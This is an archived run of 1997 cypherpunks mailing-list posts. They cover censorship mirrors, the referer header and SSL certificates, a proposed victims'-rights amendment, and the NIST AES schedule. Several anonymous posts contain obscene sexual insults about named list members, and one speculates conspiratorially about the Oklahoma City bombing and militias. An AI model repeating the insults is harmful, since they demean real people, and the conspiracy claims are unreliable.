>Documents/Carljohn/InterNetFreeTerra/InterNetFreeTerra.htm">

[HTML Sniped]

Could you please post in text? At least post in text/alternitive MIME
format so we can read your messages.

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: For a good time, call 1-800-3IBMOS2

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM1bfzo9Co1n+aLhhAQFMgQQAqfak+freLKWbUym9RRnAji1tWdRy3fxN
JixfmS0DtguDSAcUVNv1tj6Lc8dymwQAdHUQnz6uNx5u3/JgLdHGXJjwgKAjdZU2
VoUu7/pLoJ6DbOC4PWly1rwGnqrNdpvhyB5Y9yPIYTyRh4J6kqDo2ZQzMfQ6eIgR
fuzrZN3rk6Q=
=tqHw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: InterNet Free Terra <carljohn@sk.sympatico.ca>
Date: Thu, 17 Apr 1997 19:45:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Plain Text / InterNet Free Terra
Message-ID: <3356E038.1636@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


                            InterNet Free Terra
                     Beyond the ElectroMagnetic Curtain

    "The Internet interprets censorship as damage, and routes around it"
                                John Gilmore

                      Freedom Mirrors of Censored Sites

                            InterNet Free Europe
                                  Radikal

                             InterNet Free China
                   Famous Blocked Websites (Proxy Server)

 "National borders aren't even speed bumps on the information superhighway."
                               Timothy C. May

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                    To Provide Information About Mirrors
                           Of Other Censored Sites
                          carljohn@sk.sympatico.ca

                             The Final Frontier
                   http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 17:59:20 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199704180059.UAA18780@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Maya studied yoga back-streching exercises for five years so 
he could blow himself (nobody else will).

           /\
        __/__\__
         | 00 |  Tim Maya
        |:  \ :|
         | \_/|
          \__/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 17 Apr 1997 12:03:29 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Internet Free Europe
In-Reply-To: <9704171054.AA39734@public.uni-hamburg.de>
Message-ID: <9704171903.AA13876@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Chinese internet censorship.  It comes with Unix sources.

Argll! majordomo@infonex is still eating lines.

I ment to say:

  http://nanjing.spc.uchicago.edu:8001/ is a proxy directed against
  Chinese internet censorship.  It comes with Unix sources.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 17 Apr 1997 20:37:52 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Meet-in-the-middle attack
In-Reply-To: <199704180059.UAA18780@dhp.com>
Message-ID: <Pine.A41.3.95.970417213552.83346C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Thu, 17 Apr 1997, lucifer Anonymous
Remailer wrote:

> Tim Maya studied yoga back-streching exercises for five years so 
> he could blow himself (nobody else will).
> 
>            /\
>         __/__\__
>          | 00 |  Tim Maya
>         |:  \ :|
>          | \_/|
>           \__/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 19:12:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Meet-in-the-middle attack
Message-ID: <199704180211.WAA23849@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto Homo studied yoga back-streching exercises for five years so
he could blow himself (nobody else will).
 
            /\
         __/__\__
          | 00 |  Tot[hom]o
         |:  \ :|
          | \_/|
           \__/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 00:12:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "Get out of Denver"
Message-ID: <199704180712.AAA28624@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> >  It's an open secret that McVeigh timed the bombing to coincide
> >with the execution of a fellow militant from the Elohim City
> >cabal. Who says mad bombers aren't sentimental?
> 
> There are _several_ anniversaries that day. I dispute your notion that you
> know which of them was the bombers' main motivation. Here are some of the
> main anniversaries;
> * Waco roast (and McVeigh has written much about Waco, and was there for
> the first anniversary, in '94)
> * the execution you mentioned> 
> * a major raid in Arkansas 10 years earlier
> * the battle of Lexington, in which the British attempted to disarm a
> civilian militia

  You are certainly correct about McVeigh's main focus of discontent 
being the Great Texas Barbecue in Wacko, but his choice of targets was
the same one Richard Snell had targeted.

  As MediaFilter reported:
The March edition of Taking Aim, the newsletter of the Militia of
Montana, issued a call
to arms for April 19, the day of the Oklahoma blast: 

     "If this day does not ring a bell for you then maybe this will jog
your memory.
     1. April 19, 1775: Lexington burned.
     2. April 19, 1943: Warsaw burned.
     3. April 19, 1992: The feds attempted to raid Randy Weaver...
     4. April 19, 1993: The Branch Davidians burned.
     5. April 19, 1995: Richard Snell will be
     executed_unless we act now!!!"

Federal prosecutors in (Richard Snell's) the '88 trial claimed that the
'83 
plot_which included counterfeiting, armed robberies and plans to
assassinate
federal judges and the Arkansas FBI chief_was to begin with the
detonation of 
a truck bomb at the Oklahoma City Federal Building. 
All of the defendants were acquitted. But that very same building would
be 
blown up by a truck bomb on the very day of Richard Snell's execution.

Snell died knowing of the explosion. 
His last words were a warning to Arkansas Governor Guy Tucker: "Look
over 
your shoulder, justice is on the way..." 

  The Feds are well aware of the significance of launching their
offensives
against the militia on certain dates, sending deliberate messages to
them
by doing so, and the setting of Snell's execution date for April 19 was
no coincidence.
  When the Feds pre-date search warrants and other documents
(proclaiming
to judges that it is needed to protect informants and sources), they
often
use signifigant dates and times, like the 9:02 of the OKC bombing (as in
Jim Bell's search warrant).

  If you draw a chart co-relating the militia's actions with the Fed's
actions, you get a picture somewhat similar to the truces in the Civil
War, among others, where the soldiers would come out of the trenches
to exchange goods and pleasantries, before digging in once again to 
resume their warring.
  Perhaps after the trial is over (if it gets that far), we will see
a TV ad where the Feds and the militia get together in a bar afterward,
and a theme of, "Now comes Miller time."

> (And Hitler's birthday is the next day.)

Adolf Hilter's birthday is annually celebrated with a barbecue by David
Duke
and friends.
  (No wonder the Feds burned Waco on the 19th. They had another barbeque
to
attend the following day.)

  And how does all of this relate to cryptography? Glad you asked.

MediaFilter continues:
However, in 1995, the Clinton administration is conveniently using the 
Militia to justify beefing up the federal police state apparatus. 
Also watch out for the pending Communications Decency Act and 
Orwellian_named Electronic Communications Privacy Act, which would make
censorship and surveillance the rule in cyberspace. 

  Perhaps at an upcoming cypherpunks physical meeting the milita
could be invited and the theme could be "Trading Guns for Crypto."
  (It would have to be arranged quietly, however, so as not to
draw too much attention. Perhaps if the arrangements were limited
to discussion only on the cypherpunks list...)

TruthBomber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 18 Apr 1997 02:52:14 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: [rant] Re: Any info on the "Victim's Rights" Constitutional  amendment?
In-Reply-To: <3.0.1.32.19970418013850.027bd660@postoffice.pacbell.net>
Message-ID: <335742F6.4963@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles, whose rants seem to be more informative and
entertaining than his legal opinions, and who could be the
Johnny Cochrane of the McVeigh trial, wrote:
 
> At 09:22 PM 4/17/97 -0700, Alan Olsen wrote:
> >Yesterday i saw a report on one of the news websites about Clinton pushing
> >for some sort of Victim's Rights Constitutional amendment.
> >
> >Does anyone have any additional details on this?
> 
> Sens. Feinstein and Kyl are co-sponsoring this amendment. To become part of
> the Constitution, it must be approved by a 2/3 majority in both the House and
> the Senate, then be ratified by 38 state legislatures. According to Kyl's web
> page, this is the text of the proposed amendment:
> 
> Section 1. To ensure that the victim is treated with fairness, dignity, and
> respect, from the occurrence of a crime of violence and other crimes as may
> be defined by law pursuant to section two of this article, and throughout the
> criminal, military, and juvenile justice processes, as a matter of
> fundamental rights to liberty, justice, and due process, the victim shall
> have the following rights: to be informed of and given the opportunity to be
> present at every proceeding in which those rights are extended to the accused
> or convicted offender; to be heard at any proceeding involving sentencing,
> including the right to object to a previously negotiated plea, or a release
> from custody; to be informed of any release or escape; and to a speedy trial,
> a final conclusion free from unreasonable delay, full restitution from the
> convicted offender, reasonable measures to protect the victim from violence
> or intimidation by the accused or convicted offender, and notice of the
> victim's rights.

  We've already got this in Canada. Now the focus has shifted even 
further against the accused, with great outcry about the fact that
the accused are causing great emotional grief to the victims and
their families by being so bold as to try to defend themselves 
from the often irrational assaults on the accused and/or convicted.
  There is talk of further legislation which would effectively make
all perceived victims angelic creatures and all perceived criminals
violent, drug-dealing, commie-pinko perverts with no right to defend
themselves. (And this is just on the jaywalking charges. Any more
serious offences will increase the imbalance of judical powers to
suppress the defence.)


> (The rights of defendants
> pretrial aren't what you'd expect if you've been to a public high school and
> have heard the nice stories about "innocent until proven guilty".  Accused
> persons in criminal cases face serious restrictions on their liberty before
> they're even formally charged; these changes are not new.
> 
> The amendment will also likely result in less accurate trials and less
> preparation on the part of defense counsel, because it gives the "victim" a
> right to a speedy trial. This is bad for defendants, because it denies them
> meaningful due process, and it's bad for victims who want "closure" because
> it's likely to result in retrials when the due process was so crappy that the
> trial didn't meet even the relatively lax standards of the Rehnquist court.
> But, hey, it sounds good on TV.

  It shouldn't be long before "True Stories of the Highway Patrol" is 
immediately followed by C-Span legislative sessions enacting new 
legislation to deal with the perpetrators just apprehended, with 
"Night Court" immediately following, wherein the defendants are
judged and sentenced.
 
> We (as a society) need to decide if we want criminal trials to be about
> trying to decide (beyond a reasonable doubt) whether or not someone's guilty
> of a crime, or if we want them to be satisfying emotional soap-opera-style
> theatrical pieces. This victims' rights crap (and the recent legislation
> passed, *specifically intended to overrule the decisions of the judge
> presiding over the Oklahoma City bombing trial*, as well as recent changes to
> the California Evidence Code making it easier to admit evidence about prior
> bad acts by defendants and otherwise inadmissible hearsay by "victims") does
> a good job of moving us closer to the latter, but if that's what we want I
> don't see why we don't just abandon trials entirely and simply torture people
> who look like they're probably criminals until they die or confess. (and then
> we kill them; after all, they confessed.)

  You mean like they do in Texas?

> I think it's very, very bad to get so excited about punishing someone in an
> emotionally or symbolically attractive fashion that we screw up trials, which
> are intended to ensure that innocent people don't get punished. If we make it
> difficult or impossible to get a fair trial, the only thing standing between
> any of us and prison (or worse) is dumb luck and our ability/willingness to
> remain in the good graces of the current powers that be.

  A good point, but your putting it in a future tense indicates that
you don't get out enough. (Which is not a criticism, since I'm staying
in a lot more, myself, these days. I'm afraid of getting shot by a
cop while running from a criminal, or vice-versa.)

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 18 Apr 1997 00:59:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Son of Flubber
Message-ID: <199704180759.DAA26834@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote: 
> At 02:50 PM 4/17/97 -0700, Kent Crispin wrote:
> >I note that on the network news this morning an AF spokesman very
> >painstakingly assured his questioner that there was absolutely no
> >evidence of any kind that the missing pilot had any connection
> >whatsoever with any militia groups.
> 
> Neither did Tim McVeigh. He went to a militia meeting once. They told him
> to get lost and never come back. In fact, the only common thread amongst
> the Oklahoma City bombing suspects seems to be their (past?) service in the
> US military. Come to think of it, that's one thing they have in common with
> the missing bomber pilot.

>From MediaFilter:
In October 1992, two months after the Weaver surrender, Pete Peters, a 
Christian Identity minister in Colorado, called a meeting of some 175 
radical right leaders. Among those in attendance were Aryan Nations 
ambassador Louis Beam and his lawyer, Kirk Lyons of North Carolina.
   
Also in attendance was former Virginia legislator and Gun Owners of 
America leader Larry Pratt, who advocated "armed militia units" like
those 
in Central America. Beam presented a paper to the meeting called
"Leaderless
Resistance", which called for small autonomous cells united by ideology
but acting independently.

This became the model for the Militia movement_and perhaps for Timothy 
McVeigh and his co_conspirators.

  Perhaps the great outcrys of "Timothy who?" that came from many
parts of the militia were similar to the similar cries of "Jim who?"
after Jim Bell's troubles.

TruthWho?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tbs@netgo.net
Date: Fri, 18 Apr 1997 09:50:50 -0700 (PDT)
Subject: maps
Message-ID: <B0000072426@brain.now.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Fri, 18 Apr 1997 08:24:12 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Missing Jet [update]
Message-ID: <3.0.1.32.19970418112443.007c1930@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Subject: Re: Missing Jet
>Date: Fri, 18 Apr 97 09:33:05 -0400
>x-sender: jordan1@macandco.com
>From: Jordan <jordan@macandco.com>
>To: "Alec" <camcc@abraxis.com>

Update:

http://cnn.com/US/9704/17/missing.warplane/index.html

jmcc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 18 Apr 1997 17:42:50 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: State of the Nation
Message-ID: <199704181143.MAA11601@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Introducing....
The State of the Nation Issue of Shift Control

If aliens landed in Britain with the aim of finding out what's up these days, 
they'd be in for a confusing time. Politicians - our leaders - are being chased 
by headless chickens and hacks on smack, while other hacks rage against "sleaze"
and try to be politicians themselves. Unemployment figures are down, though they 
might be up. Ministers disagree with their parties while simultaneously agreeing 
with their parties. When we think we're eating lamb we might be eating beef. 
And millions of people buy Spice Girls records. It'll take more than a fancy 
spaceship to figure out the state of the nation these days.

Undaunted, we decided to have a go anyway in this week's issue of Shift Control. 
We've asked Johnny Foreigner to give us an outsider's view of Britain; citizens 
of Middle Britain send us postcards profiling life in their home towns; Robin 
Hunt tries the statistical approach in the hope of finding some coherent 
indications as to where the country's heading; and Rada Petrovic explores her 
local haunt - Kentish Town, London - as a microcosm of the nation. Plus our 
quiz asks: how wild are you about Britain?

Also this week: the usual mountain of humour and perspicacity, including more 
memoirs from Freebee (our resident rock historian), new fiction from Miles 
Gregory, and, if you're quick, details on how to obtain free tickets to the 
fourth annual Unconvention in London.

Shift Control: in a fine state and waiting for you at:
http://www.shiftcontrol.com

Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry.

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 13:47:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Firewalls
Message-ID: <199704182047.NAA15773@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


When Timothy C. May's mother gave birth to him 
after fucking with a bunch of sailors, she 
didn't know who the father was but decided to 
tell him that he was a Russian as the Russian 
sailor was the one who satisfied her the most.

      \\///
      |O O| Timothy C. May
      | ( |
      |_@_|
        H





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 14:17:37 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Advocating Violence
Message-ID: <199704182117.OAA16660@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: paul@fatmans.demon.co.uk
>To: Kent Crispin <kent@songbird.com>
>Date: Fri, 18 Apr 1997 15:17:29 +0000
>Subject: Re: Advocating Violence

Paul said:

> > You may well argue that my idea of rights is a misinterpretation, I 
> > could give you a number of examples of why this is not so.

Kent said:
> 
> More likely I would argue that your idea of rights is simply a
> religious belief, and, like many zealots, you confuse your beliefs 
> with reality and reason.


Kent, you smug and arrogant pampered child! To denigrate another because he _may_ have ideas based on religious beliefs is a typical of your ad hominem style of argument. Nothing Paul has said would mark him as a zealot, which term you use too loosely and unwittingly.

"Reality and reason?" You who have recently implied that the death camps of Europe are not a part  of the reality of the 20th century.

Previously I had pitied you for continuing to bash your head into a wall with your specious arguments thinking it was mere stupidity! Not stupidity honestly come by, but abysmal ignorance nurtured by one who sits isolated and ignorant on his ivory tower.

With a certain satisfaction I see now that all the dung heaped upon you and your vacuuous logic is honestly earned and completely deserved.

If I did not weep for the educational system which _produced_ you, I would laugh at you.

TruthMonger #20


 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Hughes <eric@sac.net>
Date: Fri, 18 Apr 1997 14:31:47 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Proposed Addendum to International Standards
Message-ID: <3.0.32.19970418143141.0081f7e0@www.internal.sac.net>
MIME-Version: 1.0
Content-Type: text/plain


I was, for some reason, browsing ISO two letter country codes today and
came upon such oddities as

EM	Office for Harmonization in the Internal Market (Trademarks and Designs)
(OHIM)

So I decided we needed some new ones, since it wasn't just for countries
anymore.

CB	Cyberspace
CP	Cypherspace

Cyberspace, the domain of electronic communication.  Cypherspace, the
domain of encrypted and untraceable electronic communication.

Do you think we can get ISO to approve it?

Better yet, do you think we could get some of those oval stickers like you
see on European cars?  I'm sure Ian will want some little ones for his Pilot.

And now all we need is an ISO 639 natural language identifier for
ciphertext.  How about "xx"?

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 18 Apr 1997 15:30:55 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Advocating Violence
In-Reply-To: <199704182117.OAA16660@fat.doobie.com>
Message-ID: <19970418152904.27311@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Apr 18, 1997 at 02:17:34PM -0700, Huge Cajones Remailer wrote:
[Some stuff I will ignore.  But one thing I want to address.]

>"Reality and reason?" You who have recently implied that the death
>camps of Europe are not a part of the reality of the 20th century. 

Nonsense.

[...]

>With a certain satisfaction I see now that all the dung heaped upon
>you and your vacuuous logic is honestly earned and completely
>deserved. 

As Bill Frantz so aptly stated, dung comes from assholes.  

(Of course, Bill does not speak for me, and I do not speak for him.)

>If I did not weep for the educational system which _produced_ you, I
>would laugh at you. 

You should laugh.  It's good for the soul.

> TruthMonger #20

"Not your everyday Turbine Ventilator."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 18 Apr 1997 14:00:14 -0700 (PDT)
To: "Wesley Felter" <wesf@mail.utexas.edu>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <199704182100.RAA19542@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3953.1071713693.multipart/signed"

--Boundary..3953.1071713693.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


As the person who invented (and mispelt) the referer link I don't
agree
with the arguments made against it. The purpose of the referer link is
to allow servers to collate pages of backlinks. This would make the
Web browsable in both directions.

I could never understand why Netscape supported the facility in the 
browser without also supporting the capture functionality in the
server. Its a simple matter to add support but they seem uninterested.

Of course there should be a toggle to allow users to turn off the 
referer field. I tried to get a recomendation to do this put into the
spec. People then started shouting at me saying that it was impossible
to enforce and so the recomendation shouldn't be there. Quite
what the relevance of 'encforcement' is I don't know.


Then they started jamming stupid ideas like cookies into the spec,
ideas that showed all of five minutes thought.


 
>Which was my original point. I'd even be willing to *pay* for a cert,
but
>not more than about $15. I just find it odd that I can get SSL server
>software for cheaper than I can get a license to operate said
software.
>Hey Verisign, why don't you offer a Class 1 server certificate?

The manner in which SSL is designed means that it requires a degree
of trust in the certificate. Allowing the browser to automatically
accept
a class 1 cert would be somewhat foolhardy. Because someone put
that damn key on the bottom of the browser some people expect there
to be security. Instead they get encryption which ain'tquite the same 
thing.

There is nothing to stop you using a non standard cert with SSL
however.
I use Apache with a cert I wrote myself.

    Phill




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Web FormPAL<sales@munica.com>
Date: Fri, 18 Apr 1997 14:20:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Web Tools and Resource Download
Message-ID: <199704182120.RAA20585@genco.webdevelop.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 18:00:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704182100.RAA19542@life.ai.mit.edu>
Message-ID: <9uRD6D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> As the person who invented (and mispelt) the referer link I don't
(binary nonsense snipped)

$1 to Sinn Fein - thank you.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 18:00:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Xs4all website censored by German academic network (fwd)
In-Reply-To: <3.0.1.32.19970418151153.006795a0@popd.ix.netcom.com>
Message-ID: <RXRD6D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 03:17 PM 4/18/97 +0000, paul@fatmans.demon.co.uk wrote:
> >This comes as rather topical actually as I believe, if memory serves,
> >that Radikal is a right wing racist publication? -
>
> Actually, it's a far-left anti-racist group's publication.
>
>
> Does anybody know if Germany has a tradition of "academic freedom"
> which could be waved at the network administration that's doing
> the censorship?

Germany has a tradition of hounding Jews out of their universities,
for which the U.S. Universities were most thankful in the 1930s.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Fri, 18 Apr 1997 19:14:25 -0700 (PDT)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Meeting Report: "Developing the Advanced Encryption Standard"
In-Reply-To: <199704182351.TAA25998@life.ai.mit.edu>
Message-ID: <v0300780eaf7dc63ab15e@[206.11.192.185]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:57 PM -0500 4/18/97, Phillip M. Hallam-Baker wrote:
>
>>  Regarding computational efficiency, NIST will favor
>>efficiency on 32-bit processors and short key-setup time, will test
>>efficiency on a little endian processor, and will publish the specs of
>>the test system.
>
>  This seems misguided IMHO. The current trend is towards 64 bit
>processors and the inefficiency of using only half of a 64 bit processor
>seems to me to be somewhat more serious than the hassle of having
>to kludge up 64 bit operations on a 32 bit processor. The most likely
>platforms are 64 bit and 8 bit (embedded systems such as cellular).

I agree that testing on a 32-bit machine is kind of dumb.  I also think
that testing it on a 64-bit machine is just as dumb.  We're talking about
a standard that will be with us for 20-30 years; whatever the current
archetecture is, it will be outdated before the standard is.

The lessons of computer are:  the high end always gets faster, and the
low end never goes away.  Anything will run fast on the high end, if not
now then in a generation or two.  We need something optimized for 8-bit
smart card processors.
>
>> They also encourage two submissions: reference (possibly in
>>Java) and optimized (in C).  Regarding memory requirements, NIST will
>>measure memory requirements for C implementation on a single reference
>>platform (presumably a Pentium Pro), although submitters are welcome to
>>provide results for other platforms.
>
>Thats also a somewhat limited approach. The x86 familly is getting long
>in the tooth. Intel themselves have it scheduled for replacement in 1999.
>The architecture is very much compromised by backwards compatibility
>with the CISC instruction set. A mixed bag of AXP, Pentium PRO and
>commodity embedded processors popular in VLSI cell form such as
>Z-80, 6502 and 680x would be more reasonable.

Again, all that matters is the low end.

>My concern is however that the starting gate closes too soon. 6 months
>is too little time to start something entirely new. But I would not be
>suprised if there was an extension. But unless people know in advance
>there will be one it means that they find out in six months time that
>they have six months to sumbit and algorithm.

We discussed that.  If a group thinks they have six months to develop
something new, they might decide not to even both.  Then, if there is
a six-month extension, we haven't gained anything.  I argued that a full
year should be given.

That's why I want triple-DES approved now, and then to let everyone take
their time with AES.

Bruce

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 18 Apr 1997 16:51:38 -0700 (PDT)
To: "Bruce Schneier" <schneier@counterpane.com>
Subject: Re: Meeting Report: "Developing the Advanced Encryption Standard"
Message-ID: <199704182351.TAA25998@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3953.1071713693.multipart/signed"

--Boundary..3953.1071713693.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


>  Regarding computational efficiency, NIST will favor
>efficiency on 32-bit processors and short key-setup time, will test
>efficiency on a little endian processor, and will publish the specs of
the
>test system. 

This seems misguided IMHO. The current trend is towards 64 bit
processors and the inefficiency of using only half of a 64 bit
processor
seems to me to be somewhat more serious than the hassle of having
to kludge up 64 bit operations on a 32 bit processor. The most likely 
platforms are 64 bit and 8 bit (embedded systems such as cellular).


> They also encourage two submissions: reference (possibly in
>Java) and optimized (in C).  Regarding memory requirements, NIST will
>measure memory requirements for C implementation on a single
reference
>platform (presumably a Pentium Pro), although submitters are welcome
to
>provide results for other platforms.  

Thats also a somewhat limited approach. The x86 familly is getting
long
in the tooth. Intel themselves have it scheduled for replacement in
1999.
The architecture is very much compromised by backwards compatibility 
with the CISC instruction set. A mixed bag of AXP, Pentium PRO and
commodity embedded processors popular in VLSI cell form such as 
Z-80, 6502 and 680x would be more reasonable.

>It was pretty much
>universally thought that this schedule is wildly optimistic.

Like design a new cypher in 6 months?

>NIST has a hard time figuring out how to measure hardware efficiency.
>They'd like to have definitive metrics (like there will be for
software)
>but are unwilling to force submitters to provide VHDL code, or gate
counts,
>or whatever.

Hardware is likely to cover a wide range of uses. The number of gates
for
DES in an ultra fast, `unwound' implementation is many more than a
n
iterator using the same gates for each round.

>NIST talked about what to do about "tweaking" algorithms after
submission.
>What if a break is found, but a simple fix prevents the attack?  What
if
>someone submits an algorithm and someone else proposes a tweak? 
These
>questions were not answered.

Surely this just menas that the tweakers get credit?

>But is there enough time for people to invent strong 128-bit block
ciphers?
>Probably not.  One alternative is to take existing 64-bit block
ciphers,
>and then use a 4-round Luby-Rackoff construction to create a 128-bit
block
>variant.  Another is to give people more time.  Both were talked
about.  I
>would like them to approve triple-DES as an interim standard, and then
take
>all the time they need for a secure 128-bit block cipher.


I suspect the assumption made is that the time table will slip. My
concern is 
however that the starting gate closes too soon. 6 months is too little
time
to start something entirely new. But I would not be suprised if there
was
an extension. But unless people know in advance there will be one it 
means that they find out in six months time that they have six months
to sumbit and algorithm.

I've seen this type of delay a lot in the IETF standards arena. The
working
group starts by assuming it has too little time to do something new
then
spends far longer plugging up holes in a broken plan.

